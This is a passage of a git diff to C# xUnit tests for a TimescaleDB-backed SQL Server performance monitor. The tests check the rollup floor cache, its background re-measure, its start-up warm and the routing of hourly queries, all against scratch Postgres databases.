+    private static readonly TimeSpan CancelledRefreshLimit = TimeSpan.FromSeconds(60);
+
     /// <summary>
     /// The raw <c>collect.query_stats</c> chunk whose time range holds <paramref name="instant"/>, as a
     /// schema-qualified, quoted name that both <c>LOCK TABLE</c> and <c>::regclass</c> accept. Found by RANGE in
@@ -836,7 +863,7 @@ public async Task InterruptedBackfill_DoesNotLookComplete_AndTheArmingGateRefuse
         Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct));
         await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
 
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         await SeedHourlyQueryStatsAsync(connection, now.AddDays(-HistoryDays), now, ct);
         await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
 
@@ -953,7 +980,7 @@ public async Task BackfillRollupsVerb_RefusesAnAbsurdPlan_WithoutClaimingSuccess
             Assert.True(await TimescaleSupport.TryEnableAsync(setup, null, ct));
             await TimescaleSupport.ConvertToHypertablesAsync(setup, null, ct);
 
-            var seedNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var seedNow = LiveClock.Now();
             await SeedHourlyQueryStatsAsync(setup, seedNow.AddDays(-2), seedNow, ct);
 
             /* ONE corrupt row, which is all it takes. */
@@ -1079,7 +1106,7 @@ public async Task HierarchicalDaily_ConvergesToItsHourly_NotToRaw_SoTheHourlyTie
         Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct));
         await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
 
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         var historyFrom = now.Date.AddDays(-HistoryDays);
 
         await SeedHourlyQueryStatsAsync(connection, historyFrom, now, ct);
diff --git a/Darling/Darling.Tests/RollupCoverageCeilingLiveTests.cs b/Darling/Darling.Tests/RollupCoverageCeilingLiveTests.cs
index c3846eaed9..271dc0ae4b 100644
--- a/Darling/Darling.Tests/RollupCoverageCeilingLiveTests.cs
+++ b/Darling/Darling.Tests/RollupCoverageCeilingLiveTests.cs
@@ -112,8 +112,21 @@ RollupFloorMaxReuse documents. ── */
         Assert.NotNull(laterWatermark);
         Assert.True(laterWatermark > engineWatermark, "the second refresh must move the engine's own watermark later");
 
+        /* #4957: past the hour with the oldest chunk unchanged, the caller is served the cached floor AND ceiling and one
+           background re-measure replaces them, so the first call after the hour still reads the old ceiling and the
+           ceiling advances once that re-measure lands. (Before #4957 this call measured inline.) */
         var pastTtl = now + TimescaleSupport.RollupFloorMaxReuse + TimeSpan.FromMinutes(1);
-        var secondCall = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTtl, ct);
+        var servedFromCache = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTtl, ct);
+        Assert.Equal(firstCall.CeilingOf(view), servedFromCache.CeilingOf(view));
+
+        var secondCall = servedFromCache;
+        var deadline = DateTime.UtcNow.AddSeconds(30);
+        while (secondCall.CeilingOf(view) != laterWatermark && DateTime.UtcNow < deadline)
+        {
+            await Task.Delay(50, ct);
+            secondCall = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTtl, ct);
+        }
+
         Assert.Equal(laterWatermark, secondCall.CeilingOf(view));
         Assert.True(secondCall.CeilingOf(view) > firstCall.CeilingOf(view), "the ceiling must advance once the rollup materializes further");
 
diff --git a/Darling/Darling.Tests/RollupCoverageRoutingTests.cs b/Darling/Darling.Tests/RollupCoverageRoutingTests.cs
index c464191cb2..89ab2774ed 100644
--- a/Darling/Darling.Tests/RollupCoverageRoutingTests.cs
+++ b/Darling/Darling.Tests/RollupCoverageRoutingTests.cs
@@ -12,6 +12,7 @@
 using System.Linq;
 using System.Text.RegularExpressions;
 using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Service.Mcp;
 using Xunit;
 
 namespace Darling.Tests;
@@ -202,7 +203,7 @@ public void CoverageProbe_CoversEveryRoutedViewAndEveryRolledRawTable()
             TimescaleSupport.QueryStoreStatsHourlyView, TimescaleSupport.QueryStoreStatsDailyView,
         })
         {
-            Assert.Contains($"(SELECT min(bucket) FROM collect.{view})", sql, StringComparison.Ordinal);
+            Assert.Contains($"(SELECT {TimescaleSupport.ColdFloorMarker} min(bucket) FROM collect.{view})", sql, StringComparison.Ordinal);
 
             /* And every routed view must resolve to a raw table, or its ladder would have no floor to fall to. */
             Assert.NotNull(RollupCoverage.RawTableFor(view));
@@ -747,4 +748,98 @@ private static string StripComments(string source)
 
         return null;
     }
+
+    /// <summary>
+    /// #5329: the routing the Top Queries reader derives from what the store measured, with the io rollup ABSENT (not on
+    /// the store, even with a stale floor cached for its name), EMPTY (present, no floor), PARTIAL (a floor after the
+    /// window's start) and COVERING (a floor at or before it). The window starts ten days back and raw keeps four.
+    /// </summary>
+    [Theory]
+    [InlineData("absent", TopRanking.Reads, HourlyRoute.Raw)]
+    [InlineData("absent", TopRanking.Cpu, HourlyRoute.Stitched)]
+    [InlineData("empty", TopRanking.Reads, HourlyRoute.Raw)]
+    [InlineData("empty", TopRanking.Duration, HourlyRoute.Stitched)]
+    [InlineData("partial", TopRanking.Reads, HourlyRoute.Io)]      // io (6 days) reaches further back than raw (4 days)
+    [InlineData("partial", TopRanking.Executions, HourlyRoute.Stitched)]
+    [InlineData("covering", TopRanking.Reads, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Cpu, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Duration, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Executions, HourlyRoute.Io)]
+    public void TheQueriesReader_RoutesOnTheIoRollupsAvailabilityAndFloor(string io, TopRanking ranking, HourlyRoute expected)
+    {
+        var floors = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.QueryStatsHourlyView] = DaysAgo(30),
+        };
+        switch (io)
+        {
+            case "absent":
+                floors[TimescaleSupport.QueryStatsIoHourlyView] = DaysAgo(30);   /* a stale floor under a name the store does not have */
+                break;
+            case "partial":
+                floors[TimescaleSupport.QueryStatsIoHourlyView] = DaysAgo(6);
+                break;
+            case "covering":
+                floors[TimescaleSupport.QueryStatsIoHourlyView] = DaysAgo(30);
+                break;
+        }
+
+        var availability = io == "absent" ? RollupAvailability.WithoutIoHourlies : RollupAvailability.All;
+        var coverage = new RollupCoverage(
+            floors,
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { ["query_stats"] = DaysAgo(4) },
+            availability);
+
+        Assert.Equal(expected, DarlingDataReader.ChooseQueriesHourlyRoute(availability, coverage, ranking, DaysAgo(10)));
+    }
+
+    /// <summary>
+    /// #5329 lane B2: the same table for the Top Procedures reader, over <c>procedure_stats_io_hourly</c> and
+    /// <c>procedure_stats</c>'s oldest row. Each case also plants the QUERIES io floor the other way round, so a procedures
+    /// route that read the queries relation's floor would answer differently and fail.
+    /// </summary>
+    [Theory]
+    [InlineData("absent", TopRanking.Reads, HourlyRoute.Raw)]
+    [InlineData("absent", TopRanking.Cpu, HourlyRoute.Stitched)]
+    [InlineData("empty", TopRanking.Reads, HourlyRoute.Raw)]
+    [InlineData("empty", TopRanking.Duration, HourlyRoute.Stitched)]
+    [InlineData("partial", TopRanking.Reads, HourlyRoute.Io)]      // io (6 days) reaches further back than raw (4 days)
+    [InlineData("partial", TopRanking.Executions, HourlyRoute.Stitched)]
+    [InlineData("partialShallow", TopRanking.Reads, HourlyRoute.Raw)]   // raw (4 days) reaches further back than io (2 days)
+    [InlineData("covering", TopRanking.Reads, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Cpu, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Duration, HourlyRoute.Io)]
+    [InlineData("covering", TopRanking.Executions, HourlyRoute.Io)]
+    public void TheProceduresReader_RoutesOnTheIoRollupsAvailabilityAndFloor(string io, TopRanking ranking, HourlyRoute expected)
+    {
+        var floors = new Dictionary<string, DateTime>(StringComparer.Ordinal)
+        {
+            [TimescaleSupport.ProcedureStatsHourlyView] = DaysAgo(30),
+            /* the queries io rollup says the opposite of every case below: covering, where procedures is not */
+            [TimescaleSupport.QueryStatsIoHourlyView] = DaysAgo(30),
+        };
+        switch (io)
+        {
+            case "absent":
+                floors[TimescaleSupport.ProcedureStatsIoHourlyView] = DaysAgo(30);   /* a stale floor under a name the store does not have */
+                break;
+            case "partial":
+                floors[TimescaleSupport.ProcedureStatsIoHourlyView] = DaysAgo(6);
+                break;
+            case "partialShallow":
+                floors[TimescaleSupport.ProcedureStatsIoHourlyView] = DaysAgo(2);
+                break;
+            case "covering":
+                floors[TimescaleSupport.ProcedureStatsIoHourlyView] = DaysAgo(30);
+                break;
+        }
+
+        var availability = io == "absent" ? RollupAvailability.WithoutIoHourlies : RollupAvailability.All;
+        var coverage = new RollupCoverage(
+            floors,
+            new Dictionary<string, DateTime>(StringComparer.Ordinal) { ["procedure_stats"] = DaysAgo(4), ["query_stats"] = DaysAgo(4) },
+            availability);
+
+        Assert.Equal(expected, DarlingDataReader.ChooseProceduresHourlyRoute(availability, coverage, ranking, DaysAgo(10)));
+    }
 }
diff --git a/Darling/Darling.Tests/RollupCoverageWarmupTests.cs b/Darling/Darling.Tests/RollupCoverageWarmupTests.cs
new file mode 100644
index 0000000000..98dfda5936
--- /dev/null
+++ b/Darling/Darling.Tests/RollupCoverageWarmupTests.cs
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4957: where the rollup-floor warm is launched. The warm itself runs against a store (see
+/// <c>RollupFloorCacheLiveTests</c>); these pin that the two processes that pay the cold sort inline actually start it —
+/// the service after its migrations, the Viewer once its store has answered — and that neither waits for it.
+/// </summary>
+public sealed class RollupCoverageWarmupTests
+{
+    [Fact]
+    public void TheWorker_LaunchesTheCoverageWarmAfterMigrations_WithoutAwaitingItOnTheStartupPath()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs").Replace("\r\n", "\n");
+
+        var migrate = source.IndexOf("PgMigrations.MigrateAsync(migrateConnection", System.StringComparison.Ordinal);
+        var launch = source.IndexOf("var rollupCoverageWarm = RollupCoverageWarmup.RunDelayedAsync(", System.StringComparison.Ordinal);
+        var drain = source.IndexOf("await rollupCoverageWarm;", System.StringComparison.Ordinal);
+        var loopStop = source.IndexOf("PerformanceMonitor Darling collection loop stopped", System.StringComparison.Ordinal);
+
+        Assert.True(migrate > 0 && launch > migrate, "the warm must launch after migrations");
+        Assert.True(drain > launch && drain < loopStop, "the warm is drained only at shutdown, after the collection loop");
+        Assert.Single(Regex.Matches(source, @"await rollupCoverageWarm;"));
+        Assert.Contains("RollupCoverageWarmup.ServiceStartDelay", source);
+    }
+
+    [Fact]
+    public void TheViewer_WarmsTheCoverageOnceItsStoreHasAnswered_AndDoesNotWaitForIt()
+    {
+        var main = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "MainWindow.xaml.cs").Replace("\r\n", "\n");
+        var readOnlyProbe = main.IndexOf("await _dataService.DetectReadOnlyAsync();", System.StringComparison.Ordinal);
+        var warm = main.IndexOf("_ = _dataService.WarmRollupCoverageAsync(", System.StringComparison.Ordinal);
+
+        Assert.True(readOnlyProbe > 0 && warm > readOnlyProbe, "the Viewer warms only after the store answered its reachability, schema and seat probes");
+
+        var dataService = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.RollupAvailability.cs").Replace("\r\n", "\n");
+        Assert.Contains("RollupCoverageWarmup.RunDelayedAsync(_dataSource", dataService);
+        Assert.Contains("RollupCoverageWarmup.ViewerStartDelay", dataService);
+    }
+}
diff --git a/Darling/Darling.Tests/RollupFloorCacheLiveTests.cs b/Darling/Darling.Tests/RollupFloorCacheLiveTests.cs
index 80c613b529..f0e9f5c1ac 100644
--- a/Darling/Darling.Tests/RollupFloorCacheLiveTests.cs
+++ b/Darling/Darling.Tests/RollupFloorCacheLiveTests.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
@@ -57,7 +58,7 @@ public async Task DetectRollupCoverageAsync_ReusesACompressedChunksFloor_UntilTh
             await stop.ExecuteNonQueryAsync(ct);
         }
 
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         var oldest = now.AddDays(-3);
 
         /* ── 1. Plant three days of collect.query_store_stats and materialize the interval-honest hourly
@@ -132,9 +133,11 @@ on every call. ── */
         var floorSecond = secondCall.FloorOf(TimescaleSupport.QueryStoreStatsIntervalHourlyView);
         Assert.Equal(floorFirst, floorSecond);
 
-        var minBucketExecutions = loggerFactory.Provider.CountContaining(
-            $"min(bucket) FROM collect.{TimescaleSupport.QueryStoreStatsIntervalHourlyView}");
+        /* #5329: counted by the probes' fixed markers (ColdFloorMarker, EarlierFloorMarker), not by how a statement spells
+           min(bucket): one cold probe across both calls, and the warm call's bounded earlier-floor read exactly once. */
+        var minBucketExecutions = loggerFactory.Provider.CountContaining(MinBucketStatement);
         Assert.Equal(1, minBucketExecutions);
+        Assert.Equal(1, loggerFactory.Provider.CountContaining(EarlierFloorStatement));
 
         /* ── (c) drop_chunks the oldest materialization chunk: the floor must RE-measure and move later.
                drop_chunks is called against the AGGREGATE VIEW (the only relation name that stays stable
@@ -160,6 +163,358 @@ drop_chunks is called against the AGGREGATE VIEW (the only relation name that st
         Assert.True(floorThird > floorSecond, "the cache must re-measure and move the floor later once the chunk it was keyed on is gone");
     }
 
+    /* ──────────── #4957: one floor cache per STORE, warmed at start, re-measured past the hour in the background ──────────── */
+
+    private static readonly string HourlyView = TimescaleSupport.QueryStoreStatsIntervalHourlyView;
+
+    /// <summary>The statement text whose executions the #4957 tests count: the hourly rollup's <c>min(bucket)</c>.</summary>
+    private static readonly string MinBucketStatement = $"{TimescaleSupport.ColdFloorMarker} min(bucket) FROM collect.{TimescaleSupport.QueryStoreStatsIntervalHourlyView}";
+
+    /// <summary>The bounded earlier-floor probe's fixed marker (#5329); counted beside the cold one, so neither count leans on
+    /// how a statement spells <c>min(bucket)</c>.</summary>
+    private static readonly string EarlierFloorStatement = TimescaleSupport.EarlierFloorMarker;
+
+    private static string? BaseConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>The hour two UTC days before today at 02:00: inside ONE one-day materialization chunk with 22 buckets
+    /// after it, so a delete of its first two buckets can never empty that chunk (a 23:00 start would).</summary>
+    /* #5496: the start comes from the test's ONE clock reading (SeedEnd), never a second read: two reads straddling
+       midnight UTC gave the two stores of one test different seed starts. */
+    private static DateTime SeedStart(DateTime now) => DateTime.SpecifyKind(now.Date.AddDays(-3).AddHours(2), DateTimeKind.Unspecified);
+
+    private static DateTime SeedEnd() => LiveClock.Now();
+
+    /// <summary>#5496: the seed start is a pure function of the one instant the test read, so it can be proved on both sides of
+    /// midnight UTC without waiting for one. A second clock read would have moved the start a whole day when it crossed.</summary>
+    [Theory]
+    [InlineData(2026, 10, 6, 23, 59, 59, 2026, 10, 3)]
+    [InlineData(2026, 10, 7, 0, 0, 0, 2026, 10, 4)]
+    [InlineData(2026, 10, 7, 0, 0, 1, 2026, 10, 4)]
+    public void TheSeedStart_IsDerivedFromTheOneInstantItIsGiven(int y, int mo, int d, int h, int mi, int s, int ey, int emo, int ed)
+    {
+        var start = SeedStart(new DateTime(y, mo, d, h, mi, s, DateTimeKind.Unspecified));
+        Assert.Equal(new DateTime(ey, emo, ed, 2, 0, 0), start);
+    }
+
+    [Fact]
+    public async Task TwoDataSourcesOnOneStore_MeasureTheFloorOnce_AndTwoStoresNeverShareAFloor()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4957 per-store floor cache test (it mints its own scratch databases).");
+        var ct = TestContext.Current.CancellationToken;
+        var now = SeedEnd();
+
+        await using var storeA = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await using var storeB = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await PopulateStoreAsync(storeA.ConnectionString, SeedStart(now), now, deleteRawBefore: null, oneDayChunks: false, ct);
+        await PopulateStoreAsync(storeB.ConnectionString, SeedStart(now), now, deleteRawBefore: SeedStart(now).AddHours(7), oneDayChunks: false, ct);
+
+        var truthA = await TruthAsync(storeA.ConnectionString, ct);
+        var truthB = await TruthAsync(storeB.ConnectionString, ct);
+        Assert.NotNull(truthA);
+        Assert.NotNull(truthB);
+        Assert.True(truthB > truthA, "the two stores must hold different floors, or sharing one cache would go unnoticed");
+
+        var factoryA1 = new CommandCountingLoggerFactory();
+        var factoryA2 = new CommandCountingLoggerFactory();
+        var factoryB = new CommandCountingLoggerFactory();
+        await using var dataSourceA1 = new NpgsqlDataSourceBuilder(storeA.ConnectionString).UseLoggerFactory(factoryA1).Build();
+        await using var dataSourceA2 = new NpgsqlDataSourceBuilder(storeA.ConnectionString).UseLoggerFactory(factoryA2).Build();
+        await using var dataSourceB = new NpgsqlDataSourceBuilder(storeB.ConnectionString).UseLoggerFactory(factoryB).Build();
+        var availability = await TimescaleSupport.DetectRollupsAsync(dataSourceA1, ct);
+        Assert.True(availability.Has(HourlyView));
+
+        var viaA1 = await TimescaleSupport.DetectRollupCoverageAsync(dataSourceA1, availability, ct);
+        var viaA2 = await TimescaleSupport.DetectRollupCoverageAsync(dataSourceA2, availability, ct);
+        var viaB = await TimescaleSupport.DetectRollupCoverageAsync(dataSourceB, availability, ct);
+
+        Assert.Equal(truthA, viaA1.FloorOf(HourlyView));
+        Assert.Equal(truthA, viaA2.FloorOf(HourlyView));
+        Assert.Equal(truthB, viaB.FloorOf(HourlyView));
+
+        /* The first data source on a store pays the sort; the second data source on the SAME store does not. */
+        Assert.Equal(1, factoryA1.Provider.CountContaining(MinBucketStatement));
+        Assert.Equal(0, factoryA2.Provider.CountContaining(MinBucketStatement));
+
+        /* A different store has its own floor: it measured for itself, and never read store A's. */
+        Assert.Equal(1, factoryB.Provider.CountContaining(MinBucketStatement));
+    }
+
+    [Fact]
+    public async Task ADatabaseDroppedAndRecreatedUnderTheSameName_IsMeasuredAgain_NotServedItsOldFloor()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4957 recreated-database floor cache test (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var now = SeedEnd();
+
+        await using var store = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await PopulateStoreAsync(store.ConnectionString, SeedStart(now), now, deleteRawBefore: null, oneDayChunks: false, ct);
+        var truthBefore = await TruthAsync(store.ConnectionString, ct);
+        var oldestChunkBefore = await OldestChunkAsync(store.ConnectionString, ct);
+
+        /* One data source across the drop: the scratch connection string does not pool, so each command opens a
+           fresh connection and the same data source reaches the second incarnation. */
+        var factory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(store.ConnectionString).UseLoggerFactory(factory).Build();
+        var availability = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+        var first = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, now, ct);
+        Assert.Equal(truthBefore, first.FloorOf(HourlyView));
+
+        /* Drop the database and build it again under the same name, laid out identically but with its oldest five
+           hours removed: the same chunk and hypertable names, a later floor. */
+        await RecreateDatabaseAsync(BaseConnectionString!, store.DatabaseName, ct);
+        await PopulateStoreAsync(store.ConnectionString, SeedStart(now), now, deleteRawBefore: SeedStart(now).AddHours(5), oneDayChunks: false, ct);
+        var truthAfter = await TruthAsync(store.ConnectionString, ct);
+        Assert.True(truthAfter > truthBefore, "the recreated store's floor must be later, or a stale floor would go unnoticed");
+        Assert.Equal(oldestChunkBefore, await OldestChunkAsync(store.ConnectionString, ct));
+
+        var second = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, now, ct);
+
+        Assert.Equal(truthAfter, second.FloorOf(HourlyView));
+        Assert.Equal(2, factory.Provider.CountContaining(MinBucketStatement));
+    }
+
+    [Fact]
+    public async Task APastTheHourFloorWithItsChunkUnchanged_IsServedFromTheCache_AndRemeasuredOnceInTheBackground_AChangedChunkIsMeasuredInline()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4957 background re-measure test (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var now = SeedEnd();
+
+        await using var store = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await PopulateStoreAsync(store.ConnectionString, SeedStart(now), now, deleteRawBefore: null, oneDayChunks: true, ct);
+
+        var factory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(store.ConnectionString).UseLoggerFactory(factory).Build();
+        var availability = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+
+        var cold = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, now, ct);
+        var floorCold = cold.FloorOf(HourlyView);
+        Assert.Equal(await TruthAsync(store.ConnectionString, ct), floorCold);
+        Assert.Equal(1, factory.Provider.CountContaining(MinBucketStatement));
+
+        /* A retention delete inside the oldest chunk: the true floor moves later and the chunk's identity does not. */
+        var oldestChunk = await OldestChunkAsync(store.ConnectionString, ct);
+        await DeleteMaterializedBucketsBeforeAsync(store.ConnectionString, floorCold!.Value.AddHours(2), ct);
+        var floorAfterDelete = await TruthAsync(store.ConnectionString, ct);
+        Assert.True(floorAfterDelete > floorCold);
+        Assert.Equal(oldestChunk, await OldestChunkAsync(store.ConnectionString, ct));
+
+        /* Past the hour: served from the cache (the floor as it stood), NOT measured inline. */
+        var pastTheHour = now + TimescaleSupport.RollupFloorMaxReuse + TimeSpan.FromMinutes(1);
+        var served = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTheHour, ct);
+        Assert.Equal(floorCold, served.FloorOf(HourlyView));
+
+        /* Several callers at once, while that re-measure runs or just after it: each gets the old or the new floor, never an error. */
+        var burst = await Task.WhenAll(Enumerable.Range(0, 6).Select(_ =>
+            Task.Run(() => TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTheHour, ct), ct)));
+        Assert.All(burst, c => Assert.True(c.FloorOf(HourlyView) == floorCold || c.FloorOf(HourlyView) == floorAfterDelete));
+
+        /* The one background re-measure lands: callers see the new floor, and the seven past-the-hour callers
+           between them ran the sort once (plus the cold measure), not seven times. */
+        var refreshed = await PollForFloorAsync(dataSource, availability, pastTheHour, floorAfterDelete, ct);
+        Assert.Equal(floorAfterDelete, refreshed.FloorOf(HourlyView));
+        Assert.Equal(2, factory.Provider.CountContaining(MinBucketStatement));
+
+        /* A changed chunk is wrong, not merely old: dropping the oldest chunk is measured inline, on the calling thread,
+           even though this entry is past the hour too. */
+        var (_, oldestRangeEnd) = await OldestChunkWithRangeEndAsync(store.ConnectionString, ct);
+        await DropChunksOlderThanAsync(store.ConnectionString, oldestRangeEnd, ct);
+        var floorAfterDrop = await TruthAsync(store.ConnectionString, ct);
+        Assert.True(floorAfterDrop > floorAfterDelete);
+
+        var pastTheHourAgain = pastTheHour + TimescaleSupport.RollupFloorMaxReuse + TimeSpan.FromMinutes(1);
+        var inline = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTheHourAgain, ct);
+        Assert.Equal(floorAfterDrop, inline.FloorOf(HourlyView));
+        Assert.Equal(3, factory.Provider.CountContaining(MinBucketStatement));
+    }
+
+    [Fact]
+    public async Task AFloorPastTwiceTheHourWithItsChunkUnchanged_IsMeasuredInline_NotServedFromTheCache()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4957 serve-cap test (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var now = SeedEnd();
+
+        await using var store = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await PopulateStoreAsync(store.ConnectionString, SeedStart(now), now, deleteRawBefore: null, oneDayChunks: true, ct);
+
+        var factory = new CommandCountingLoggerFactory();
+        await using var dataSource = new NpgsqlDataSourceBuilder(store.ConnectionString).UseLoggerFactory(factory).Build();
+        var availability = await TimescaleSupport.DetectRollupsAsync(dataSource, ct);
+
+        var cold = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, now, ct);
+        var floorCold = cold.FloorOf(HourlyView);
+        Assert.Equal(await TruthAsync(store.ConnectionString, ct), floorCold);
+        Assert.Equal(1, factory.Provider.CountContaining(MinBucketStatement));
+
+        /* A retention delete inside the oldest chunk: the true floor moves later and the chunk's identity does not,
+           which is the one change the cache cannot see and the cap exists to bound. */
+        var oldestChunk = await OldestChunkAsync(store.ConnectionString, ct);
+        await DeleteMaterializedBucketsBeforeAsync(store.ConnectionString, floorCold!.Value.AddHours(2), ct);
+        var floorAfterDelete = await TruthAsync(store.ConnectionString, ct);
+        Assert.True(floorAfterDelete > floorCold);
+        Assert.Equal(oldestChunk, await OldestChunkAsync(store.ConnectionString, ct));
+
+        /* At the serve cap the entry is no longer served: the first caller measures it inline and gets the true floor
+           in the same call, with the sort already run when it returns (no polling for a background pass). */
+        var pastTheCap = now + TimescaleSupport.RollupFloorMaxServeAge + TimeSpan.FromMinutes(1);
+        var inline = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTheCap, ct);
+        Assert.Equal(floorAfterDelete, inline.FloorOf(HourlyView));
+        Assert.Equal(2, factory.Provider.CountContaining(MinBucketStatement));
+
+        /* It replaced the entry, so the next call is current and measures nothing. */
+        var next = await TimescaleSupport.DetectRollupCoverageAsync(dataSource, availability, pastTheCap, ct);
+        Assert.Equal(floorAfterDelete, next.FloorOf(HourlyView));
+        Assert.Equal(2, factory.Provider.CountContaining(MinBucketStatement));
+    }
+
+    [Fact]
+    public async Task AfterTheStartUpWarm_TheFirstCoverageCallOnAnotherDataSource_RunsNoMinBucket()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(BaseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #4957 start-up warm test (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+        var now = SeedEnd();
+
+        await using var store = await ScratchPostgres.CreateAsync(BaseConnectionString!, ct);
+        await PopulateStoreAsync(store.ConnectionString, SeedStart(now), now, deleteRawBefore: null, oneDayChunks: false, ct);
+        var truth = await TruthAsync(store.ConnectionString, ct);
+
+        /* The service's own data source warms; the MCP or web host's data source is the first CALLER. */
+        await using var workerSource = NpgsqlDataSource.Create(store.ConnectionString);
+        await RollupCoverageWarmup.RunDelayedAsync(workerSource, logger: null, TimeSpan.Zero, ct);
+
+        var factory = new CommandCountingLoggerFactory();
+        await using var callerSource = new NpgsqlDataSourceBuilder(store.ConnectionString).UseLoggerFactory(factory).Build();
+        var availability = await TimescaleSupport.DetectRollupsAsync(callerSource, ct);
+        var coverage = await TimescaleSupport.DetectRollupCoverageAsync(callerSource, availability, ct);
+
+        Assert.Equal(truth, coverage.FloorOf(HourlyView));
+        Assert.Equal(0, factory.Provider.CountContaining(MinBucketStatement));
+    }
+
+    /// <summary>Builds a TimescaleDB store in the database <paramref name="connectionString"/> names: migrated, hypertables,
+    /// the continuous aggregates, and the hourly Query Store rollup materialized over <paramref name="from"/>..<paramref name="to"/>
+    /// — less any raw rows older than <paramref name="deleteRawBefore"/>, which is how a second incarnation of the same
+    /// layout gets a later floor.</summary>
+    private static async Task PopulateStoreAsync(
+        string connectionString, DateTime from, DateTime to, DateTime? deleteRawBefore, bool oneDayChunks, CancellationToken ct)
+    {
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await LiveTimescaleProbe.TryEnableAsync(connectionString, ct);
+        Assert.True(timescaleEnabled, "TimescaleDB must be available on CI for the live #4957 floor cache tests");
+
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+
+        /* No background worker racing the fixture's own refresh calls below. */
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await SeedHourlyQueryStoreStatsAsync(connection, from, to, ct);
+        if (deleteRawBefore is DateTime cut)
+        {
+            await using var trim = new NpgsqlCommand("DELETE FROM collect.query_store_stats WHERE collection_time < $1", connection);
+            trim.Parameters.AddWithValue(cut);
+            await trim.ExecuteNonQueryAsync(ct);
+        }
+
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        if (oneDayChunks)
+        {
+            await using var setInterval = new NpgsqlCommand(TimescaleSupport.SetMaterializationChunkIntervalSql(HourlyView), connection);
+            await setInterval.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var refresh = new NpgsqlCommand(TimescaleSupport.RefreshContinuousAggregateSql(HourlyView, force: true), connection);
+        refresh.Parameters.AddWithValue(from);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<DateTime?> TruthAsync(string connectionString, CancellationToken ct)
+    {
